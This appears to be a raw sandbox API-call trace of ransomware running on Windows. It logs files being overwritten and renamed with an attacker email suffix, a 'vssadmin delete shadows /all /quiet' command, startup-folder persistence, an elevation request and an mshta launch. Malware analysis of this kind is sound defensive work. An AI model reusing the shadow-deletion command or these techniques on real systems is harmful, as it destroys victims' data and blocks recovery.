[0056.291] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0056.291] GetProcessHeap () returned 0x2e0000
[0056.291] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0056.291] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.294] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0056.294] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.294] GetProcessHeap () returned 0x2e0000
[0056.294] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.294] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0056.294] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0056.296] CloseHandle (hObject=0x10c) returned 1
[0056.296] GetProcessHeap () returned 0x2e0000
[0056.296] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0056.296] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0056.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0056.297] GetProcessHeap () returned 0x2e0000
[0056.297] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.297] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
[0056.297] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78
[0056.297] StrStrIW (lpFirst="PidGenX.dll", lpSrch="SDfghjkl") returned 0x0
[0056.297] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0056.298] GetProcessHeap () returned 0x2e0000
[0056.298] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0056.298] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.299] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0056.299] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.308] GetProcessHeap () returned 0x2e0000
[0056.309] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.309] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0056.309] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0056.310] CloseHandle (hObject=0x10c) returned 1
[0056.311] GetProcessHeap () returned 0x2e0000
[0056.311] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0056.311] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0056.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0056.311] GetProcessHeap () returned 0x2e0000
[0056.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.311] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
[0056.311] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91
[0056.311] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch="SDfghjkl") returned 0x0
[0056.311] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0056.311] GetProcessHeap () returned 0x2e0000
[0056.312] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0056.312] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.314] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0056.314] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.314] GetProcessHeap () returned 0x2e0000
[0056.314] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.314] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0056.314] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0056.353] CloseHandle (hObject=0x10c) returned 1
[0056.353] GetProcessHeap () returned 0x2e0000
[0056.353] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0056.353] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 133
[0056.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0056.354] GetProcessHeap () returned 0x2e0000
[0056.354] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.354] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
[0056.354] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76
[0056.354] StrStrIW (lpFirst="setup.exe", lpSrch="SDfghjkl") returned 0x0
[0056.354] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0)
Process:
id = "2"
image_name = "vssadmin.exe"
filename = "c:\\windows\\system32\\vssadmin.exe"
page_root = "0x34754000"
os_pid = "0x8b8"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0xa08"
cmd_line = " delete shadows /all /quiet"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 2
os_tid = 0xa88
Thread:
id = 5
os_tid = 0x8f8
Thread:
id = 6
os_tid = 0xaf0
Thread:
id = 7
os_tid = 0xb00
Thread:
id = 8
os_tid = 0x928
Process:
id = "3"
image_name = "vssvc.exe"
filename = "c:\\windows\\system32\\vssvc.exe"
page_root = "0x34125000"
os_pid = "0x918"
os_integrity_level = "0x4000"
os_privileges = "0xe60b7e890"
monitor_reason = "rpc_server"
parent_id = "2"
os_parent_pid = "0x1d8"
cmd_line = "C:\\Windows\\system32\\vssvc.exe"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006f3ef" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Thread:
id = 9
os_tid = 0xab4
Thread:
id = 10
os_tid = 0x6d4
Thread:
id = 11
os_tid = 0xabc
[0034.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd5dc80 | out: lpSystemTimeAsFileTime=0xd5dc80*(dwLowDateTime=0x7dc94220, dwHighDateTime=0x1d5e184))
[0034.817] GetCurrentProcessId () returned 0x918
[0034.817] GetCurrentThreadId () returned 0xabc
[0034.817] GetTickCount () returned 0x1153850
[0034.817] QueryPerformanceCounter (in: lpPerformanceCount=0xd5dc88 | out: lpPerformanceCount=0xd5dc88*=17658088199) returned 1
[0034.817] malloc (_Size=0x100) returned 0x378e80
[0062.855] free (_Block=0x378e80)
Thread:
id = 12
os_tid = 0x32c
Thread:
id = 13
os_tid = 0x5b0
Thread:
id = 14
os_tid = 0x328
Thread:
id = 15
os_tid = 0xab8
Thread:
id = 30
os_tid = 0x988
Thread:
id = 37
os_tid = 0x924
Thread:
id = 40
os_tid = 0xbb4
Process:
id = "4"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x9014000"
os_pid = "0x3f8"
os_integrity_level = "0x4000"
os_privileges = "0x60800000"
monitor_reason = "rpc_server"
parent_id = "3"
os_parent_pid = "0x1d8"
cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\Local Service"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7]
Thread:
id = 16
os_tid = 0x7c0
Thread:
id = 17
os_tid = 0x310
Thread:
id = 18
os_tid = 0x128
Thread:
id = 19
os_tid = 0x7c8
Thread:
id = 20
os_tid = 0x6cc
Thread:
id = 21
os_tid = 0x644
Thread:
id = 22
os_tid = 0x63c
Thread:
id = 23
os_tid = 0x154
Thread:
id = 24
os_tid = 0x150
Thread:
id = 25
os_tid = 0x120
Thread:
id = 26
os_tid = 0x124
Thread:
id = 27
os_tid = 0x118
Thread:
id = 28
os_tid = 0x3fc
Thread:
id = 29
os_tid = 0x9b8
Thread:
id = 38
os_tid = 0xa34
Thread:
id = 39
os_tid = 0xbe0
Process:
id = "5"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x32e2e000"
os_pid = "0xad0"
os_integrity_level = "0x4000"
os_privileges = "0x60814080"
monitor_reason = "rpc_server"
parent_id = "3"
os_parent_pid = "0x1d8"
cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006f94f" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Thread:
id = 31
os_tid = 0x998
Thread:
id = 32
os_tid = 0x978
Thread:
id = 33
os_tid = 0x9a8
Thread:
id = 34
os_tid = 0x290
Thread:
id = 35
os_tid = 0xa8c
Thread:
id = 36
os_tid = 0xad8
Thread:
id = 41
os_tid = 0x9c8
Process:
id = "6"
image_name = "twu5x5u5jjqyrmbjt4z9mff9knv5.exe"
filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.exe"
page_root = "0x2070c000"
os_pid = "0x4d4"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "autostart"
parent_id = "0"
os_parent_pid = "0x378"
cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe\" "
cur_dir = "C:\\Windows\\system32\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e21c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 42
os_tid = 0x4d8
[0088.963] GetUserDefaultLangID () returned 0x409
[0088.967] GetModuleHandleA (lpModuleName=0x0) returned 0xc30000
[0088.967] FindResourceW (hModule=0xc30000, lpName=0x1, lpType=0xa) returned 0xc3a048
[0088.970] LoadResource (hModule=0xc30000, hResInfo=0xc3a048) returned 0xc3a058
[0088.970] SizeofResource (hModule=0xc30000, hResInfo=0xc3a048) returned 0x22a
[0088.970] GetProcessHeap () returned 0x480000
[0088.970] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x22a) returned 0x49e690
[0088.970] RegOpenKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", phkResult=0x2bfa9c | out: phkResult=0x2bfa9c*=0x0) returned 0x2
[0088.970] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2bf674 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0
[0088.974] PathAddBackslashW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned=""
[0088.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\parid.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\parid.bin"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x6, hTemplateFile=0x0) returned 0xb4
[0088.975] GetLastError () returned 0xb7
[0088.975] ReadFile (in: hFile=0xb4, lpBuffer=0xc39218, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x2bf87c, lpOverlapped=0x0 | out: lpBuffer=0xc39218, lpNumberOfBytesRead=0x2bf87c*=0x0, lpOverlapped=0x0) returned 0
[0088.975] CloseHandle (hObject=0xb4) returned 1
[0088.975] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2bf018, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.exe")) returned 0x7c
[0088.975] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 1
[0088.975] ExpandEnvironmentStringsW (in: lpSrc="%appdata%", lpDst=0x2bf630, nSize=0x104 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e
[0088.975] CryptAcquireContextW (in: phProv=0x2bf894, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2bf894*=0x49eba8) returned 1
[0088.989] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2bf874 | out: TokenHandle=0x2bf874*=0xb4) returned 1
[0088.989] GetTokenInformation (in: TokenHandle=0xb4, TokenInformationClass=0x14, TokenInformation=0x2bf86c, TokenInformationLength=0x4, ReturnLength=0x2bf870 | out: TokenInformation=0x2bf86c, ReturnLength=0x2bf870) returned 1
[0088.989] CloseHandle (hObject=0xb4) returned 1
[0088.989] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2bf664, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.exe")) returned 0x7c
[0088.989] ShellExecuteW (hwnd=0x0, lpOperation="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a
[0111.445] ExitProcess (uExitCode=0x0)
Thread:
id = 44
os_tid = 0x5b0
Thread:
id = 45
os_tid = 0x5dc
Thread:
id = 47
os_tid = 0x650
Process:
id = "7"
image_name = "mshta.exe"
filename = "c:\\windows\\syswow64\\mshta.exe"
page_root = "0x2045a000"
os_pid = "0x4dc"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "autostart"
parent_id = "0"
os_parent_pid = "0x378"
cmd_line = "\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\" "
cur_dir = "C:\\Windows\\system32\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e21c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 43
os_tid = 0x4e0
[0087.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfaac | out: lpSystemTimeAsFileTime=0x1cfaac*(dwLowDateTime=0xa0679fc0, dwHighDateTime=0x1d5e184))
[0087.533] GetCurrentProcessId () returned 0x4dc
[0087.533] GetCurrentThreadId () returned 0x4e0
[0087.533] GetTickCount () returned 0x112f299
[0087.533] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfaa4 | out: lpPerformanceCount=0x1cfaa4*=6262432163) returned 1
[0087.533] GetModuleHandleA (lpModuleName=0x0) returned 0x920000
[0087.533] GetStartupInfoA (in: lpStartupInfo=0x1cf9b8 | out: lpStartupInfo=0x1cf9b8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\SysWOW64\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff))
[0087.533] GetVersionExA (in: lpVersionInformation=0x1cfa08*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cfa08*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0087.533] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x290000
[0087.534] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75fe0000
[0087.534] GetProcAddress (hModule=0x75fe0000, lpProcName="FlsAlloc") returned 0x75ff4f2b
[0087.534] GetProcAddress (hModule=0x75fe0000, lpProcName="FlsGetValue") returned 0x75ff1252
[0087.534] GetProcAddress (hModule=0x75fe0000, lpProcName="FlsSetValue") returned 0x75ff4208
[0087.534] GetProcAddress (hModule=0x75fe0000, lpProcName="FlsFree") returned 0x75ff359f
[0087.534] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.534] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.534] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.534] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.535] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
